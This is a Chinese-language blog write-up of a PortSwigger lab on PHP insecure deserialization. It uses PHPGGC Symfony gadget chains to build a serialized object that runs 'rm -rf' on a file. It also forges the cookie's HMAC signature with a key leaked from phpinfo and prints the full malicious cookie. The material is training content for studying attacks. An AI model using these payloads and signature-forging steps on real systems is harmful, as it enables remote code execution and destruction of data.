某不知名博客 某不知名博客
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)

Carsaid

安全界的小学生
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)
  • 前言

  • 服务器端主题(翻译)

  • 客户端主题(翻译)

  • 高级主题(翻译)

  • 扩展阅读(翻译)

  • 个人学习笔记

  • 实验室做题记录

    • 实验室做题记录
    • 服务器端

    • 客户端

    • 高级主题

      • 不安全的反序列化

        • 学徒-修改序列化对象
        • 从业者-修改序列化数据类型
        • 从业者-使用应用程序功能
        • 从业者-PHP中的任意对象注入
        • 从业者-Apache Commons-Java反序列化
        • 从业者-预构建的小工具链-PHP反序列化
          • 题目
          • 实操
            • 下载工具
            • 开始实验
            • 确定站点框架
            • 构造恶意序列化对象=第一次攻击尝试
            • 构造cookie签名
            • 恶意序列化对象+恶意签名=第二次攻击尝试
            • 坑点=最终攻击尝试
        • 从业者-收录在案的小工具链-Ruby反序列化
        • 专家-自定义小工具链-Java反序列化
        • 专家-自定义小工具链-PHP反序列化
        • 专家-自定义小工具链-PHAR反序列化
      • GraphQL API漏洞

      • 服务端模板注入

      • Web缓存投毒

      • HTTP主机头攻击

      • HTTP请求走私

      • OAuth身份验证漏洞

      • JWT攻击

      • 原型链污染

  • BurpSuite及官方实验室
  • 实验室做题记录
  • 高级主题
  • 不安全的反序列化
carsaid
2023-10-30
目录

从业者-预构建的小工具链-PHP反序列化

# 实验室:通过预构建的小工具链利用PHP反序列化

# 题目

此实验室使用基于序列化的会话机制,并具有签名 cookie。它还使用了一个通用的 PHP 框架。虽然你没有源代码的访问权限,但你仍然可以使用 预构建的小工具链 来利用此实验室中的不安全反序列化。

若要解决实验室问题,请确定目标框架,然后使用第三方工具生成 包含远程代码执行有效负载 的恶意序列化对象。然后,研究如何生成包含恶意对象的有效签名 cookie。最后,将此对象传递到网站中,以从 Carlos 的家目录中删除morale.txt文件。

你可以使用以下凭据登录到自己的帐户:wiener:peter

实验室-从业者

通过预构建的小工具链利用PHP反序列化 >>

- name: 实验室-从业者
  desc: 通过预构建的小工具链利用PHP反序列化 >>
  avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
  link: https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-php-deserialization-with-a-pre-built-gadget-chain
  bgColor: '#001350'
  textColor: '#4cc1ff'
1
2
3
4
5
6

# 实操

# 下载工具

理论学习文章中提到了一个工具:PHPGGC (opens new window)

直接下载整个项目的源文件。

Not Found Image

该工具主要依靠根目录下的phpggc可执行文件来运行,它需要 PHP 运行环境。

php phpggc
1
Not Found Image

可以直接使用 Kali Linux 来运行该文件,因为 kali 预装了 PHP 运行环境。

./phpggc
1
Not Found Image

如果你嫌 GitHub 下载太麻烦,你也可以通过软件包的方式一键下载和部署。

apt-get install phpggc
phpggc
1
2
Not Found Image

# 开始实验

点击 “ACCESS THE LAB” 进入实验室。

Not Found Image

一个购物站点。

Not Found Image

然后还是老一套流程,登录并捕获请求数据包,找到 Cookie 中经过加密的值。

%7B%22token%22%3A%22Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJzM3M2dmRnamdzbzRmN2s2MDRqeGNoajRmbGVuemd5ZCI7fQ%3D%3D%22%2C%22sig_hmac_sha1%22%3A%224d2a5f2cf82178688328392f24a6e06a215ade12%22%7D
1

URL 解码之后是一段 JSON 数据,这和之前的实验不太一样。

{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJzM3M2dmRnamdzbzRmN2s2MDRqeGNoajRmbGVuemd5ZCI7fQ==","sig_hmac_sha1":"4d2a5f2cf82178688328392f24a6e06a215ade12"}
1

解密token参数中的值,是一段眼熟的 PHP 序列化对象。

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"s3s6vdgjgso4f7k604jxchj4flenzgyd";}
1

# 确定站点框架

题目中让我们确定目标站点所使用的框架,该如何确定呢?

很简单,随意修改 Cookie 中的值,尝试在反序列化的过程中使网站报错(这在“服务端主题-信息泄露”中曾经学过)。

发现关键文本:

Symfony Version: 4.3.6
1

Symfony 版本 4.3.6

Not Found Image

运行phpggc工具,看看是否有关于 Symfony 框架的信息:

phpggc -l

phpggc -l symfony
1
2
3

发现有效信息,适用于 Symfony 4.3.6 版本的工具链有三个:Symfony/RCE4、Symfony/RCE7 和 Symfony/RCE8。

Not Found Image

# 构造恶意序列化对象=第一次攻击尝试

phpggc有三种 代码/命令执行 的格式:

  • RCE (Command): ./phpggc Symfony/RCE1 id
  • RCE (PHP code): ./phpggc Symfony/RCE2 'phpinfo();'
  • RCE (Function call): ./phpggc Symfony/RCE4 system id

你应该已经看出来了

  • “Command” 适用于命令执行漏洞,载荷后面直接跟随要执行的命令id
  • “PHP code” 适用于代码执行漏洞,载荷后面跟的是 PHP 代码
  • “Function call” 适用于代码执行漏洞,载荷后面跟的是 PHP 函数以及参数

而适用于 Symfony 4.3.6 版本的三个工具链都是 “Function call”(函数调用)。

运行以下命令,生成三个不同的恶意 PHP 序列化对象:

phpggc Symfony/RCE4 system "rm -rf /home/carlos/morale.txt"
phpggc Symfony/RCE7 system "rm -rf /home/carlos/morale.txt"
phpggc Symfony/RCE8 system "rm -rf /home/carlos/morale.txt"
1
2
3

工具链Symfony/RCE7构造出来的数据最短,就用它来完成实验吧。

O:47:"Symfony\Component\Cache\Adapter\TagAwareAdapter":2:{s:57:"Symfony\Component\Cache\Adapter\TagAwareAdapterdeferred";s:30:"rm -rf /home/carlos/morale.txt";s:61:"Symfony\Component\Cache\Adapter\TagAwareAdaptergetTagsByKey";s:6:"system";}
1
Not Found Image

复制Symfony/RCE7所生成的载荷,然后在 BurpSuite 的 “Decoder” 功能模块中对其进行 Base64 编码。记住这个 BurpSuite 的编码

Not Found Image

将经过编码的对象填入token参数中,然后对整个 JSON 数据进行 URL 编码。

{"token":"Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyZGVmZXJyZWQiO3M6MzA6InJtIC1yZiAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7czo2MToiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXJnZXRUYWdzQnlLZXkiO3M6Njoic3lzdGVtIjt9","sig_hmac_sha1":"4d2a5f2cf82178688328392f24a6e06a215ade12"}
1

将经过 URL 编码的 JSON 数据覆盖到原有 Cookie 当中,刷新网页。

反序列化出现错误 “签名不正确”。

Not Found Image

# 构造cookie签名

看着 JSON 数据中的sig_hmac_sha1,你会想到什么?这是签名?签的是什么?

{"token":"......","sig_hmac_sha1":"4d2a5f2cf82178688328392f24a6e06a215ade12"}
1

而在 PHP 中,刚好就有一个函数hash_hmac()可用于对数据进行签名,但是该函数需要三个参数。

  • 算法,已知。JSON 数据中已经明确标注了是sha1算法
  • 字符串,已知。大概率是对token参数值进行签名
  • 密钥,未知。哪里找?
hash_hmac("算法", "字符串", "密钥")
1

在实验室中,如果你查看网页源代码,则会发现一个用于 debug 的 phpinfo 文件。

Not Found Image

访问/cgi-bin/phpinfo.php即可看到 PHP 环境信息。

Not Found Image

我在页面中搜索 “key” 关键字,还真让我找到了一串可疑的密钥j54jhp3rayyacc9k1u35z8iau3esgqot。

Not Found Image

PHP在线工具 (opens new window)

我使用hash_hmac()函数 + sha1算法 + 最初的token参数值 + phpinfo中得到的可疑密钥,编写以下代码:

<?php
  $sign = hash_hmac("sha1", "Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJzM3M2dmRnamdzbzRmN2s2MDRqeGNoajRmbGVuemd5ZCI7fQ==", "j54jhp3rayyacc9k1u35z8iau3esgqot");
  echo $sign;
?>
1
2
3
4

运行过后,获得了签名4d2a5f2cf82178688328392f24a6e06a215ade12,与最初的签名进行对比,完全相同!

{"token":"......","sig_hmac_sha1":"4d2a5f2cf82178688328392f24a6e06a215ade12"}
1

至此,成功构造了正确的 Cookie 签名。

Not Found Image

# 恶意序列化对象+恶意签名=第二次攻击尝试

对Symfony/RCE7生成出来的恶意序列化对象进行签名:

<?php
	$sign = hash_hmac("sha1", "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyZGVmZXJyZWQiO3M6MzA6InJtIC1yZiAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7czo2MToiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXJnZXRUYWdzQnlLZXkiO3M6Njoic3lzdGVtIjt9", "j54jhp3rayyacc9k1u35z8iau3esgqot");
	echo $sign;
?>
1
2
3
4

得到签名值0d294facd379f3181d94833c3a4cf620aa70267a,一起替换到 JSON 数据中:

{"token":"Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyZGVmZXJyZWQiO3M6MzA6InJtIC1yZiAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7czo2MToiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXJnZXRUYWdzQnlLZXkiO3M6Njoic3lzdGVtIjt9","sig_hmac_sha1":"0d294facd379f3181d94833c3a4cf620aa70267a"}
1

对 JSON 数据进行 URL 编码:

%7B%22token%22%3A%22Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyZGVmZXJyZWQiO3M6MzA6InJtIC1yZiAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7czo2MToiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXJnZXRUYWdzQnlLZXkiO3M6Njoic3lzdGVtIjt9%22%2C%22sig_hmac_sha1%22%3A%220d294facd379f3181d94833c3a4cf620aa70267a%22%7D
1

覆盖原有 Cookie,刷新网页。

成......功报了个不同的错?

Not Found Image

# 坑点=最终攻击尝试

BurpSuite 的编码器有毒!!!Base64 编码出来的值不一样!!!

一定一定要使用系统自带的编码:

phpggc Symfony/RCE7 system "rm -rf /home/carlos/morale.txt" | base64 -w 0
1

BurpSuite 的 Base64 编码是以O3M6Njoic3lzdGVtIjt9结尾的,和系统编出来的值确实不一样:

Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7czozMDoicm0gLXJmIC9ob21lL2Nhcmxvcy9tb3JhbGUudHh0IjtzOjYxOiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIAZ2V0VGFnc0J5S2V5IjtzOjY6InN5c3RlbSI7fQo=
1
Not Found Image

然后对载荷进行签名:

<?php
	$sign = hash_hmac("sha1", "<经过Base64编码的恶意序列化对象>", "j54jhp3rayyacc9k1u35z8iau3esgqot");
	echo $sign;
?>
1
2
3
4

将载荷与签名值一起放入 JSON 数据中:

{"token":"Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7czozMDoicm0gLXJmIC9ob21lL2Nhcmxvcy9tb3JhbGUudHh0IjtzOjYxOiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIAZ2V0VGFnc0J5S2V5IjtzOjY6InN5c3RlbSI7fQo=","sig_hmac_sha1":"4c26dc56b898527f0f99effe785c4479ecb8a3e6"}
1

URL 编码:

%7B%22token%22%3A%22Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7czozMDoicm0gLXJmIC9ob21lL2Nhcmxvcy9tb3JhbGUudHh0IjtzOjYxOiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIAZ2V0VGFnc0J5S2V5IjtzOjY6InN5c3RlbSI7fQo%3d%22%2C%22sig_hmac_sha1%22%3A%224c26dc56b898527f0f99effe785c4479ecb8a3e6%22%7D
1

覆盖原有 Cookie,刷新网页。

攻击成功,实验完成。

Not Found Image
编辑 (opens new window)
从业者-Apache Commons-Java反序列化
从业者-收录在案的小工具链-Ruby反序列化

← 从业者-Apache Commons-Java反序列化 从业者-收录在案的小工具链-Ruby反序列化→

最近更新
01
API测试笔记
04-30
02
msfvenom
03-29
03
Metasploit
03-29
更多文章>
Theme by Vdoing | Copyright © 2023-2024 Carsaid | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式